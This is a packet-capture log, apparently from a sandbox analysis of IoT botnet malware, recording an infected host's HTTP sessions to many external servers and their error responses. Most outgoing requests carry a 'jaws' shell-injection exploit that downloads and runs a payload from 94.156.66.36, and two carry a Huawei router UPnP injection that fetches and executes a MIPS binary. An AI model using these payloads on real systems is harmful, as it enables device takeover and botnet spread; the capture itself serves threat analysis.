6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.15	53960	156.235.228.92	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:27.270642042 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:28.823281050 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:29.126909018 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Mar 2024 08:35:28 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.15	42670	43.200.198.128	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:27.298772097 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:27.630443096 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:35:27 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.15	45496	18.154.15.89	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:27.801845074 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:27.972114086 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Wed, 13 Mar 2024 08:35:27 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.15	55724	52.57.199.69	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:27.801872969 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:27.973216057 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:35:27 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.15	60164	91.232.74.20	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:27.902260065 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:28.159956932 CET	443	IN	HTTP/1.1 403 Forbidden Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 337 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 36 22 3e 3c 74 69 74 6c 65 3e 4e 54 4c 34 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 31 30 2e 31 30 2e 33 34 2e 33 36 2f 3f 74 79 70 65 3d 49 6e 76 61 6c 69 64 20 4b 65 79 77 6f 72 64 26 70 6f 6c 69 63 79 3d 4d 61 69 6e 50 6f 6c 69 63 79 20 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 76 73 70 61 63 65 3d 22 30 22 20 68 73 70 61 63 65 3d 22 30 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><title>NTL4</title></head><body><iframe src="http://10.10.34.36/?type=Invalid Keyword&policy=MainPolicy " style="width: 100%; height: 100%" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hspace="0"></iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.15	59838	59.30.116.40	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:27.914612055 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.15	58730	23.205.52.170	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:27.990114927 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:28.078299999 CET	429	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 207 Expires: Wed, 13 Mar 2024 08:35:28 GMT Date: Wed, 13 Mar 2024 08:35:28 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 34 31 33 32 38 31 37 26 23 34 36 3b 31 37 31 30 33 31 38 39 32 38 26 23 34 36 3b 33 37 39 39 61 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.34132817.1710318928.3799a1</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.15	50638	52.6.35.159	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:27.996332884 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.15	49646	34.126.229.54	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:28.020396948 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.15	56584	13.126.159.214	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:28.367723942 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:28.653208017 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:35:28 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.15	48330	128.59.28.147	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:28.516572952 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:28.606072903 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 13 Mar 2024 08:35:28 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.15	40390	41.80.32.93	37215

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:29.011253119 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:35:33.271158934 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.15	40234	52.222.178.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:30.032680988 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:30.211323023 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Wed, 13 Mar 2024 08:35:30 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.15	33632	83.99.176.150	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:30.059951067 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:30.256635904 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:35:30 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.15	47576	217.13.58.188	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:30.211464882 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
